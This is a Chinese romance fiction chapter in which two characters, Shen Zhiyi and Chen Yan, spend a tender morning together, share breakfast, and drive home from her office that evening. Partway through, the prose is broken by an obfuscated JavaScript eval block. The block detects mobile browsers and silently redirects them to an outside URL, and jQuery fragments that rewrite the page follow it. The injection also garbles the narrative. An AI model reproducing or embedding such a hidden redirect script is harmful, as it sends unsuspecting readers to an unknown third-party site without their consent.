沈知意醒过来的时候窗外的天已经全亮了。
她第一感觉是后背贴着一个温暖的、硬实的平面——陈砚的胸口。
他的手臂还横在她的腰间，没有松开，呼吸从她后颈的方向均匀地传来，频率比她记忆中的睡眠呼吸要慢一些。
她睁开眼看着前方——枕头是他昨天枕的那只，被子上残留着两个人体温交叠后形成的温热窝。她没有立刻动，保持着后背贴着他胸口的姿势，在晨光里重新闭了一会儿眼。
过了大概两分钟，陈砚的手臂在她腰上动了一下，然后收紧了一些，接着他的声音从她后颈上方传过来，带着刚醒的微哑："你醒了？"
沈知意没有翻身，背对着他说："醒了有一会儿了。"
陈砚的手臂在她腰间没有松开。他把下巴搁在她的头顶，开口的声音因为姿势的关系被压得有点低："那你躺着没动。"
"怕吵醒你。"
陈砚沉默了一下，然后他的手臂收得更紧了一些，把她往自己怀里又拢了拢，鼻息蹭过她的头发："吵不醒。你动也没事。"
沈知意被他收拢的力道带得向后靠了靠，整个人嵌进他的胸口和手臂形成的包裹里。
晨光从窗帘缝隙透进来，把两个人交叠的轮廓照成淡金色。
窗台上的植物在晨光里安安静静地站着，绿萝的藤蔓已经沿着踢脚线蔓延到了卧室门外的走廊入口处。
她在那个怀抱里又躺了一会儿，然后翻身面对他。
两个人面对面侧躺着，距离不到一个手掌的厚度。
晨光从他的背后照过来，把他的脸照得明亮而清晰——睫毛、嘴角的纹路、下巴上一夜之间冒出来的青色胡茬，每一处都清清楚楚。
沈知意看着他的脸，伸手用指腹碰了一下他下巴上的胡茬，微刺的触感在指尖上留了一瞬。
她开口说了一句："你今天早上要刮胡子。"
陈砚被她碰了那一下，嘴角弯了一下："嗯。一会儿刮。"
沈知意收回手，但她的目光还留在他的脸上，从额头看到眉骨到鼻梁到嘴角到下巴再到喉结，像在重新认识一个已经认识了很久的人。
陈砚被她看着，没有移开目光，但他开口的时候声音比刚才更低了一点："你在看什么？"
沈知意看着他，晨光落在两个人的瞳孔里，把对方的存在映成一片清晰的、暖调的颜色。她说："在看你的脸。以前没这么近看过。"
陈砚没有说话。
他看着她，在晨光里伸过手来，手指贴上她的下颌线，轻轻把她的脸往上抬了一点——角度只调了不到一度。
然后他低头，嘴唇落在她的额头上。
很轻，像一片薄荷叶从枝头脱落时蹭过空气的重量。
他在那个位置停留了两秒，然后移开。
沈知意睁开眼，她的额头还残留着他嘴唇的温度。她看着近在咫尺的那张脸，把放在被子上的手抬起来，贴上他的侧脸。手指从颧骨滑到下颌，再到耳后，掌心贴着他脸颊的弧度。
陈砚在她的掌心下面侧了一下头，嘴唇蹭过她的掌心边缘。
然后他靠过来，额头抵着她的额头。
两个人鼻尖之间的距离不足一厘米。
晨光从窗帘缝隙里漏进来，把两个人之间的那一小片空间照得透亮。
沈知意先动的——她往前挪了那最后一厘米，嘴唇贴上了他的嘴唇。
动作很轻，像在确认一个早就该确认的问题。
陈砚在她贴上来的同时回应了，他的手从她下颌滑到后颈，手指拢进她的发根，加深了这个吻。
阳光在两个人交叠的轮廓上缓慢地移动，从额头移到鼻梁再到嘴唇再到下巴，像在沿着两个人的接触面逐一描画。
窗台上的植物在晨风里轻轻晃动，绿萝的藤蔓在地板上停住了延伸，像在等这一刻过去之后再继续长。过了很久两个人才分开，额头还抵在一起，呼吸混在一起分不出彼此的节奏。
沈知意闭着眼，嘴唇上还留着他吻过的温度和触感。
她睁开眼看着他，两个人的瞳孔在晨光里几乎融成同一种颜色。
她开口说了一句："你今天早上先别刮胡子了。"
陈砚看着她，嘴角弯了一下："不刮了。"
窗外的晨光越来越亮，从淡金色变成了透白色。
两个人在那片越来越亮的光线里重新靠在一起，额头贴着额头，呼吸慢慢同步成同一种节奏。床边的被角垂下床沿，在晨风里轻轻晃动着。
两个人真正起床的时候已经快九点了。
窗台上的植物被晨光照透了将近两个小时，薄荷叶尖上的露珠早就蒸干了。
沈知意先下床去了卫生间，刷牙洗脸的时候从镜子里看到陈砚靠在门框上，嘴角还有昨夜的胡茬痕迹，眼神比昨晚清醒的时候柔软了一些。
她含着牙刷看了他一眼："你站门口干什么？"
陈砚靠在门框上，双手插在裤兜里："等你出来。"
沈知意低头继续刷牙，但她能看到镜子里的自己嘴角的弧度把牙刷柄都带偏了一度。
她漱完口擦干脸走出来的时候经过他身边，伸手在他下巴上蹭了一下，胡茬的触感跟早上第一次碰到时一样微刺。
"去刮。今天周一要出门。"
陈砚走进卫生间，关门之前从门缝里说了一句："那刮完了，你帮我看看刮没刮干净。"
沈知意已经走到客厅了，听到那话没有转身，但声音带着笑传过来："刮完了自己照镜子。"
卫生间里传来水龙头打开的声音和剃须泡喷出来的呲呲声。
沈知意站在客厅里，窗台上的阳光照在她的手臂上，暖的。
她站了一会儿，然后转身走进厨房开始准备早餐——两片吐司、两个鸡蛋、一壶热茶。
吐司放进烤面包机里的时候她听到卫生间传来刮胡刀划过皮肤的细微声响，规律的、安心的、像在确认今天跟昨天有什么不一样。
陈砚出来的时候下巴光洁了，晨光落在他干净的下颌线上，反射出清爽的光泽。
他走到厨房门口看到沈知意正在把煎蛋从锅里铲出来放在盘子里，动作娴熟流畅。他靠在门框上看了一会儿然后说："你刚才说'今天周一要出门'——周一你一般几点到公司？"
沈知意把煎蛋端到餐桌上："九点半。来得及。"
陈砚走过来在餐桌前坐下，在低头吃早餐之前说了一句："那以后每天早上都来得及。"
沈知意在他对面坐下来，拿起叉子的时候说了一句："你每天早上都起来刮胡子？"
陈砚咬了一口吐司，嚼完咽下去之后说："你早上碰过的地方，以后每天都会刮。"
沈知意低头吃煎蛋。
蛋液还是流心的，跟周六早晨的煎蛋味道一样，但今天她觉得格外好吃。
窗台上的阳光照在两个人之间的桌面上，把餐盘边缘的碎屑照成细小的亮点。
两个人面对面吃着早餐，跟之前的每一个早晨看起来没什么区别，但两个人都知道——有些东西在昨晚被重新定义了，那份定义写在今天早上的每一个细节里。
目光交汇的时间比以往长了半秒，嘴角弧度的保持比以往久了几个呼吸，伸手递东西的时候手指碰到一起没有立刻收回去。
吃完早餐陈砚主动收了碗筷去洗，沈知意站在窗台前面检查植物的土干湿度。
她弯腰摸了摸薄荷的表土，然后拿着水壶均匀地浇了一圈。
水渗进土里发出细微的声响，她直起身的时候陈砚洗完碗擦着手走过来站在她旁边。
两个人并肩站在窗台前面，十六样植物在周一的晨光里站得整整齐齐。他伸手接过她手里的水壶放在窗台上，手缩回来的时候顺势握住了她垂在身侧的手。
十指交扣，掌心贴掌心，跟昨晚黑暗中的姿势一样自然。
沈知意低头看着两个人交握的手，他掌心的温度从接触面传过来，温热而稳定。她没有松开，也没有抬头看他，只说了一句："你今天几点开会？"
陈砚握着她的手："下午两点。上午可以先送你到公司。"
沈知意抬头看了他一眼："你送我？"
陈砚侧头看她："嗯。你每天早上去公司都是自己开车。今天坐我的。"
沈知意看着他。晨光从两个人面前的窗户照进来，把她的瞳孔映成浅褐色。她说："那我的车怎么办？"
陈砚笑了一下，幅度不大但很明显："晚上我来接你的时候你再开回来。"
沈知意没有再问。
她把手从他掌心里抽出来，转身去卧室换衣服。
陈砚站在原地，低头看了一眼自己空了的掌心，然后弯了一下嘴角把那只手放进口袋里。窗台上的植物在晨光里继续安静地绿着，薄荷的叶片边缘被阳光照得微微发亮，像刚被人浇过水之后还没来得及干透的样子。
那天晚上陈砚确实来接她了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837946|211527||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
车停在公司楼下，沈知意走出来的时候看到他的车停在路灯旁边，车窗摇下来，他坐在驾驶座上正在看手机。
她走过去拉开副驾驶门坐进去的时候，闻到车内有一股淡淡的柠檬和薄荷混在一起的清香，副驾驶杯架上放着一杯泡好的薄荷柠檬水。
她端起来喝了一口，比例跟以前一样，温度刚好。
"你带了水来的？"她问。
陈砚发动车子打了方向盘："出门前泡的。车上放着等你出来的时候喝。"
沈知意端着那杯水靠在座椅上，看着窗外流动的夜景。
路灯从车玻璃上一道一道滑过去，光线在她的侧脸上明灭交替。
她喝完半杯水之后把杯子放回杯架上，侧头看着陈砚开车时的侧脸——他握着方向盘的手指放松，视线前方的角度专注但不过度紧张，偶尔在红灯前停下来的时候会侧头看她一眼，然后把目光收回去。
车停进小区地下车库的时候，两个人熄火之后在黑暗的车厢里坐了几秒，谁都没有先动。
地下车库的灯是感应的，熄火之后灭了一排，车内只剩下仪表盘微弱的光。沈知意先解开安全带，金属卡扣弹开的声音在安静的车厢里清脆地响了一声。
她伸手去开门的时候陈砚握住了她那只手。
"等一下。"他说。
沈知意的手停在门把手上没有动。
陈砚也解开了自己的安全带，侧过身来。
黑暗中的距离比白天近，他的轮廓在仪表盘的微弱光线下只看得清大致的形状。
他伸手轻轻握住她的下巴，把她的脸转向自己的方向，然后低头吻了她。这一次比早晨重了一些，嘴唇相贴的触感更清晰、更坚定，像在确认早上的那个决定不是晨光里的错觉。
沈知意的另一只手从门把手上松开，抬起来搭在他的后颈上。
指尖触到他颈后短发的边缘，微微扎手。
她在那个吻持续的时候轻轻收拢了手指，把他往自己的方向带了一点点。
陈砚的手臂从她下巴滑到腰侧，手掌贴着她的腰线把她往座椅的方向微微拢了一下。
两个人贴在驾驶座和副驾驶座之间的小小空间里，车厢的黑暗把外界的一切都隔绝在外，只有呼吸声和唇齿间的触碰在安静的空气里清晰可辨。
吻结束的时候两个人都没有说话。
额头抵着额头，在黑暗中平复呼吸。
沈知意开口的时候声音有一点哑："上楼吧。"
陈砚松开她，先下了车绕过来给她开门。
两个人走进电梯的时候手又自然握在了一起。
电梯门关上，楼层数字一格一格跳动。
沈知意低头看着交握的手——他的拇指在她手背上轻轻摩挲着，画着一个不规则的弧形。那弧线的轨迹很轻，像在皮肤上写字但看不到字迹，只知道那是一种持续存在的触感。
电梯到了，门开了，两个人走出去。
陈砚掏出钥匙开门的时候一直用另一只手牵着她，没有松开。
那晚的流程跟之前一样——一个先洗澡一个后洗澡，客厅的灯关了只留窗台上那盏暖光台灯。
但陈砚走进卧室的时候没有停在门口，直接走到床边坐下来，在黑暗里躺到了属于他的那一侧。两个人并排躺着，黑暗中的距离比昨晚近了——从一拳变成了一指，然后那一指也被抹掉了。
肩贴着肩，手臂贴着手臂，手腕的脉搏隔着薄薄的皮肤互相传递着节拍。
沈知意先翻过身，把脸埋进他的颈窝。
陈砚的手搭上她的后背，五指张开贴着她的肩胛骨之间。
窗外的路灯在天花板上投下熟悉的暖黄色光斑。沈知意的声音从他颈窝的位置传出来，闷闷的，带着快要入睡前的微哑："你以后每天都睡这边。"
陈砚的手指在她后背的脊椎线上轻轻滑了一下："那你以后每天早上的煎蛋都要是流心的。"
沈知意闷在他颈窝里笑了一声。
那声笑很轻，气流蹭过他的皮肤，带着一点温热和薄荷牙膏的残留气息。
然后她没有再说话。
黑暗里两个人的呼吸慢慢同步，从不同步到几乎重叠只需要几个呼吸的时间。
窗台上的暖光台灯还亮着，那排植物在灯光里安静地站着。十六样东西在夜的深处各自保持着生长的姿态，叶片的尖端正朝着天花板上那片暖黄色光斑的方向微微倾斜，像在确认光的存在。